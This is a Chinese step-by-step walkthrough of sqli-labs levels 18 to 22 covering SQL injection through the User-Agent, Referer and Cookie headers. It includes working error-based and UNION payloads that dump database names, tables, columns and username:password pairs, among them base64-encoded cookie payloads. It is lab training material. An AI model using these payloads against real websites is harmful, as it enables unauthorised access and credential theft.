【sql靶场】第18-22关-htpp头部注入保姆级教程

目录

【sql靶场】第18-22关-htpp头部注入保姆级教程

1.回顾知识

1.http头部

2.报错注入

2.第十八关

1.尝试

2.爆出数据库名

3.爆出表名

4.爆出字段

5.爆出账号密码

3.第十九关

4.第二十关

5.第二十一关

6.第二十二关


【sql靶场】第18-22关-htpp头部注入保姆级教程

1.回顾知识
1.http头部

HTTP请求头部有一些常用的字段,这些字段提供了关于请求的详细信息,以及客户端和服务器之间的交互方式。下面是一些常见的HTTP请求头部字段:

  1. User-Agent:这个头部字段提供了关于发送请求的应用程序或浏览器的信息。它通常包括应用程序的名称、版本和使用的操作系统等信息。例如,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36。
  2. Accept:这个头部字段指定客户端能够处理的数据类型,例如文本、HTML、图片、音频等。通过这个字段,服务器可以了解客户端支持的内容格式,并相应地返回数据。
  3. Accept-Language:这个头部字段指定客户端接受的语言类型和优先级。例如,Accept-Language: en-US,en;q=0.5。这有助于服务器返回与客户端语言偏好匹配的内容。
  4. Cookie:这个头部字段用于在客户端和服务器之间传递会话信息。Cookie通常用于保存用户的登录状态、购物车内容等。服务器通过读取Cookie头部字段中的值,可以识别用户或恢复会话状态。
  5. Host:这个头部字段指定要访问的服务器地址。对于DNS解析后的域名或IP地址,服务器可以使用Host头部来找到相应的资源。例如,Host: www.example.com。
  6. Referer:这个头部字段指定请求来源网页的URL。当用户从一个网页跳转到另一个网页时,浏览器会发送Referer头部,以便服务器知道原始页面的来源。
  7. Authorization:这个头部字段用于向服务器提供身份验证信息,例如Bearer token或Basic authentication。当用户需要登录或授权访问特定资源时,浏览器会发送包含身份验证信息的Authorization头部。

2.报错注入

1.报错注入深解

有则利用报错显示进行注入,让报错里面携带所需的查询信息

可以通过列数不同进行判断是否有报错,但是报错注入一般是让报错函数通过构造‌非法XPath表达式强制触发数据库解析错误,其核心原理与字段数无关,原因是字段数不匹配错误发生在 ‌结果集构造阶段(如 UNION 前后字段数不一致)报错注入的异常发生在 ‌条件解析阶段(如XPath解析失败),早于结果集生成,无论主查询返回3个字段还是其他数量,条件逻辑仅影响数据过滤,不涉及字段数对比‌

2.报错注入格式

一般是通过updatexml与 extractvalue进行构造‌非法XPath表达式

?id=1' and updatexml(1,concat(0x7e,(子查询语句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查询语句),0x7e))--+ 

3.使用的函数

concat:将同一行中多个字段的值拼接为单个字符串,适用于单行多列数据的合并‌

group_concat:某一列的数据聚合,适用于单列多行数据的合并‌

两个可以组合使用----每次先将行中的两个字段进行拼接成字符串再进行列的每行数据聚合

GROUP_CONCAT(CONCAT(col1, col2))

区别:

concat适用于需要精准提取特定行数据的场景(如管理员账号)‌。需多次请求,效率较低‌

group_concat单次请求获取数据,但需手动拼接分片结果‌。适用于快速批量泄露(如全表用户密码)

问题:

在利用 updatexml 进行报错注入时,可能会因为查询结果因长度限制显示不全,可通过以下两种方法解决:mid()或 substr()分片截取数据,规避 updatexml() 的32字符长度限制‌

使用的语法:

limit 0,1:从第0行开始,获取1条数据。逐次修改起始位置(如 limit 1,1、limit 2,1)遍历所有记录‌

substr(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),

逐次修改 start 参数(如 32、63)循环获取后续内容‌。

mid(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),

逐次修改 start 参数(如 32、63)循环获取后续内容‌。

区别:

substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,两者语法和功能完全一致‌,但是一般使用 mid(),功能相同但兼容性更佳‌,可无缝替代 substr避免潜在语法冲突‌。

特性concat + limitgroup_concat + substr/mid
数据范围单行数据多行聚合数据
输出格式单条记录(如 user~pass多条记录合并(如 user1~pass1,user2~pass2
注入效率需多次请求遍历数据单次请求获取多行数据
长度限制处理直接适配单行输出长度需通过 substr 分段截取避免超长截断‌

2.第十八关
1.尝试

在这里的输入框分别进行单引号双引号测试,不行

同时输入账号密码再在其中一个里面进行注入测试,不行

尝试输入正确账号,随机密码进行注入测试,不行

输入正确账号密码,再在输入框进行注入,不行

输入正确账号密码,不注入,看页面,结果出现了http头部的User-Agent信息,既然会有User-Agent信息打印出来,我们就可以尝试能不能进行注入,进行抓包修改User-Agent,进行注入

发现在User-Agent上修改,会有报错返回

那既然有报错返回,我们就可以尝试进行报错注入

2.爆出数据库名

第一次尝试

a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

但是没有成功报错注入,而是又报错了sql语句错误,在注释符那里,很多时候都会有过滤注释符,最好使用and '1'='1;我比较懒就直接使用了注释符#,我们尝试使用and '1'='1

a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

结果成功了注入出来数据库名

3.爆出表名

然后同样进行注入表名

a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果报错截断不正确的double值a

我觉得可能是and的问题,因为and必须都为真,于是改为了or

a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果依然报错

我就尝试将前面的字符a删除,但是我想尝试and可不可以,毕竟前面没有值了

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果虽然不会报错了,但是也没有了报错注入返回

于是使用or

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

最终成功注入出来了

但是我后面又想到既然是截断不正确的double值,‌浮点数数据类型‌,用于表示带有小数部分的数值,那我不使用英文字符了,使用数字字符了

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果果然没有报错了,但是报错注入的返回也没有了,那这样可能是因为截断了正确的double值,而使用了or,只需要其中一个为真就好,后面的报错注入直接不看了导致的,那么我又使用回and

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and '1'='1

结果果然也可以爆出表名

4.爆出字段
' or updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1) and '1'='1

5.爆出账号密码
' or  updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) and '1'='1

3.第十九关

这一关爆出http头部的Referer字段信息,除了注入位置不愿意,剩下的与十八关基本一样

4.第二十关

这一关爆出http头部的Cookie字段信息

然后我们可以看到这里将用户名与密码和id都显出来了,我们可以利用这个测试回显位置进行注入

放掉第一个包

用第二个包

16-抓包2

测试字段

' order by 4#

报错了,说明可以用报错注入,与十八、十九关操作基本一样,但是这一关有回显就不用这么麻烦,发现字段不是4

' order by 3#

没有报错,则是三

测试回显

' union select 1,2,3#

发现全部回显,id为1,name为2,password为3,进行注入

爆出数据库名

' union select 1,2,database()#

爆出全部

这里为了方便就不一条一条爆出来了,直接用三个回显爆出全部信息,一般来说要一个一个来,因为你知道数据库名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出账号密码

 ' union select  (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#

5.第二十一关

这一关与第二十关十分相似,但是又有所不同

首先登入看页面,发现也是Cookie字段信息

结果发现语句name在打印里面还变成了一串奇怪语句

我们去后端查看

if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', base64_encode($row1['username']), time()+3600);	echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >';			//echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error());			echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";header ('Location: index.php');}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";			echo "</br>";echo '<img src="../images/slap.jpg" />';	echo "</font>";  }}

在里面我们可以看到有这么一句

setcookie('uname', base64_encode($row1['username']), time()+3600);	

这一句使得我们注入的语句要进行base64编码才能够注入

进行编码

') union select 1,2,database()#

报错了,查看报错发现是闭合方式错误,改成')闭合

这里为了方便就不一条一条爆出来了,直接用三个回显爆出全部信息,一般来说要一个一个来,因为你知道数据库名,但是不知道表名,不知道表名就不知道字段,不知道字段就不能爆出账号密码

') union select  (select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),(select group_concat(concat_ws(0x3a,username,password)) from users)#

6.第二十二关

这一关闭合方式为",剩下的与第二十一关基本一样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/36138.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

K8S下nodelocaldns crash问题导致域名请求响应缓慢

前言 最近做项目&#xff0c;有业务出现偶发的部署导致响应很慢的情况&#xff0c;据了解&#xff0c;业务使用域名访问&#xff0c;相同的nginx代理&#xff0c;唯一的区别就是K8S重新部署了。那么问题大概率出现在容器平台&#xff0c;毕竟业务是重启几次正常&#xff0c;偶…

SpringBoot之如何集成SpringDoc最详细文档

文章目录 一、概念解释1、OpenAPI2、Swagger3、Springfox4、Springdoc5. 关系与区别 二、SpringDoc基本使用1、导包2、正常编写代码&#xff0c;不需要任何注解3、运行后访问下面的链接即可 三、SpringDoc进阶使用1、配置文档信息2、配置文档分组3、springdoc的配置参数**1. 基…

基于扣子(coze.cn)搭建一个古文化学习助手

highlight: a11y-dark 扣子Coze 是由字节跳动推出的一个AI聊天机器人和应用程序编辑开发平台&#xff0c;可以理解为字节跳动版的GPTs。 下面进行Coze的登录&#xff0c;初步使用&#xff0c;创建定制化的Bot&#xff08;聊天机器人&#xff09;&#xff0c;插件使用等操作。…

Modbus TCP到RTU:轻松转换指南!

Modbus TCP 到 RTU&#xff1a;轻松转换指南&#xff01; 在现代工业自动化领域&#xff0c;Modbus TCP和Modbus RTU两种通信协议因其高效、稳定的特点被广泛应用。然而&#xff0c;随着技术的发展和设备升级的需求&#xff0c;经常会遇到需要将这两种协议进行互相转换的场景。…

云钥科技工业相机定制服务,助力企业实现智能智造

在工业自动化、智能制造和机器视觉快速发展的今天&#xff0c;工业相机作为核心感知设备&#xff0c;其性能直接决定了检测精度、生产效率和产品质量。然而&#xff0c;标准化工业相机往往难以满足复杂多样的应用场景需求&#xff0c;‌工业相机定制‌逐渐成为企业突破技术瓶颈…

HAL库STM32常用外设—— CAN通信(一)

文章目录 一、CAN是什么&#xff1f;1.1 CAN应用场景1.2 CAN通信优势 二、CAN基础知识介绍2.1 CAN总线结构2.2 CAN总线特点2.2.1 CAN总线的数据传输特点2.2.2 位时序和波特率 2.3 CAN位时序和波特率2.3 CAN物理层2.3.1 CAN 物理层特性2.3.2 CAN 收发器芯片介绍 2.4 CAN协议层2.…

设计模式 二、创建型设计模式

GoF是 “Gang of Four”&#xff08;四人帮&#xff09;的简称&#xff0c;它们是指4位著名的计算机科学家&#xff1a;Erich Gamma、Richard Helm、Ralph Johnson 和 John Vlissides。他们合作编写了一本非常著名的关于设计模式的书籍《Design Patterns: Elements of Reusable…

微软远程桌面即将下架?Splashtop:更稳、更快、更安全的 RDP 替代方案

近日&#xff0c;Windows 官方博客宣布&#xff1a;将于2025年5月27日起&#xff0c;在 Windows 10 和 Windows 11 应用商店中下架“Microsoft 远程桌面”应用&#xff0c;建议用户迁移至新的 Windows App。这一变动引发了广大用户对远程访问解决方案的关注。作为全球领先的远程…

黑马跟学.苍穹外卖.Day08

黑马跟学.苍穹外卖.Day08 苍穹外卖-day8课程内容1. 工作台1.1 需求分析和设计1.1.1 产品原型1.1.2 接口设计 1.2 代码导入1.2.1 Controller层1.2.2 Service层接口1.2.3 Service层实现类1.2.4 Mapper层 1.3 功能测试1.3.1 接口文档测试1.3.2 前后端联调测试 1.4 代码提交 2. Ap…

技术路线图ppt模板_流程图ppt图表_PPT架构图

技术路线图ppt模板 / 学术ppt模板 - 院士增选、国家科技奖、杰青、长江学者特聘教授、校企联聘教授、重点研发、优青、青长、青拔.. / 学术ppt案例 WordinPPT / 持续为双一流高校、科研院所、企业等提供PPT制作系统服务。 - 科学技术奖ppt&#xff1a;自然科学奖 | 技术…

差分专题练习 ——基于罗勇军老师的《蓝桥杯算法入门C/C++》

一、1.重新排序 - 蓝桥云课 算法代码&#xff1a; #include <bits/stdc.h> using namespace std; const int N 1e5 3;int a[N], d[N], cnt[N];int main() {int n; scanf("%d", &n);for (int i 1; i < n; i) scanf("%d", &a[i]);int m…

【蓝桥杯】每天一题,理解逻辑(4/90)【Leetcode 二进制求和】

题目描述 我们解析一下题目 我们可以理解到两个主要信息 给的是二进制的字符串返回他们的和 我们知道&#xff0c;十进制的加减法需要进位&#xff0c;例如&#xff1a;9716是因为91之后进了一位&#xff0c;二进制也是如此&#xff0c;只不过十进制是逢10进1&#xff0c;二…

.NET 9 中 OpenAPI 替代 Swagger 文档生成

微软已经放弃了对 .NET 9 中 Swagger UI 包 Swashbuckle 的支持。他们声称该项目“不再由社区所有者积极维护”并且“问题尚未得到解决”。 这意味着当您使用 .NET 9 模板创建 Web API 时&#xff0c;您将不再拥有 UI 来测试您的 API 端点。 我们将调查是否可以在 .NET 9 中使用…

MySQL -- 复合查询

数据库的查询是数据库使用中比较重要的环节&#xff0c;前面的基础查询比较简单&#xff0c;不做介绍&#xff0c;可自行查阅。本文主要介绍复合查询&#xff0c;并结合用例进行讲解。 本文的用例依据Soctt模式的经典测试表&#xff0c;可以自行下载&#xff0c;也可以自己创建…

蓝桥杯第13届真题2

由硬件框图可以知道我们要配置LED 和按键 一.LED 先配置LED的八个引脚为GPIO_OutPut&#xff0c;锁存器PD2也是&#xff0c;然后都设置为起始高电平&#xff0c;生成代码时还要去解决引脚冲突问题 二.按键 按键配置&#xff0c;由原理图按键所对引脚要GPIO_Input 生成代码&a…

Linux的Shell编程

一、什么是Shell 1、为什么要学习Shell Linux运维工程师在进行服务器集群管理时&#xff0c;需要编写Shell程序来进行服务器管理。 对于JavaEE和Python程序员来说&#xff0c;工作的需要。Boss会要求你编写一些Shell脚本进行程序或者是服务器的维护&#xff0c;比如编写一个…

PDFMathTranslate 安装、使用及接入deepseek

PDFMathTranslate 安装、使用及接入deepseek 介绍安装及使用接入deepseek注意 介绍 PDFMathTranslate 是非常好用的科学 PDF 文档翻译及双语对照工具&#xff0c;可以将论文按照其原本的排版结构执行多种语言翻译&#xff0c;并且可以接入如&#xff1a;谷歌翻译、deepl、deep…

如何查看安卓版本号的方法(例如查看是13、12、11、10...)

开发过程中需要了解到安卓版本号是多少&#xff0c;那么以下有三种方法可以知晓安卓手机的Android版本号。 方法1&#xff1a;手机设置直接查看 1.打开【设置】 --> 滑动到手机最底部 --> 点击【关于手机】或 【系统】--> 选择【Android版本】 2.直接查看版本号&am…

Python----计算机视觉处理(Opencv:形态学变换)

一、形态学变化 形态学变换&#xff08;Morphological Transformations&#xff09;是一种基于形状的图像处理技术&#xff0c;主要处理的对象为二值化图像。 形态学变换有两个输入和一个输出&#xff1a;输入为原始图像和核&#xff08;即结构化元素&#xff09;&#xff0c;输…

【新能源汽车“心脏”赋能:三电系统研发、测试与应用匹配的恒压恒流源技术秘籍】

新能源汽车“心脏”赋能&#xff1a;三电系统研发、测试与应用匹配的恒压恒流源技术秘籍 在新能源汽车蓬勃发展的浪潮中&#xff0c;三电系统&#xff08;电池、电机、电控&#xff09;无疑是其核心驱动力。而恒压源与恒流源&#xff0c;作为电源管理的关键要素&#xff0c;在…